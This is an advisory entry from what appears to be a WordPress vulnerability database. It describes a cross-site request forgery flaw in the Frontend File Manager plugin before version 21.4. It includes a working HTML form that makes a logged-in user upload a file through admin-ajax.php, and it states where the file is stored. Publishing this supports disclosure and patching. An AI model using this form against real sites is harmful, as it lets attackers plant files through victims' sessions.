Lucene search

K
wpexploitRaad Haddad of Cloudyrion GmbHWPEX-ID:7DB363BF-7BEF-4D47-9963-C30D6FDD2FB8
HistorySep 26, 2022 - 12:00 a.m.

Frontend File Manager < 21.4 - File Upload via CSRF

2022-09-2600:00:00
Raad Haddad of Cloudyrion GmbH
280
file manager
file upload
cross-site request forgery
security vulnerability
wordpress

EPSS

0.001

Percentile

25.9%

The plugin does not have CSRF check when uploading files, which could allow attackers to make logged in users upload files on their behalf

<form action="https://example.com.com/wp-admin/admin-ajax.php?action=wpfm_upload_file" method="POST" enctype="multipart/form-data">
    <input type="file" name="file" value="">
    <input type="text" name="_file" value="payload.pdf">
    <input type="submit" name="submit" value="submit">
</form>

The file won't show up via the frontend/backend, but will be uploaded in the user folder (ie in wp-content/uploads/user_uploads/<usernname>/payload.pdf)

EPSS

0.001

Percentile

25.9%

Related for WPEX-ID:7DB363BF-7BEF-4D47-9963-C30D6FDD2FB8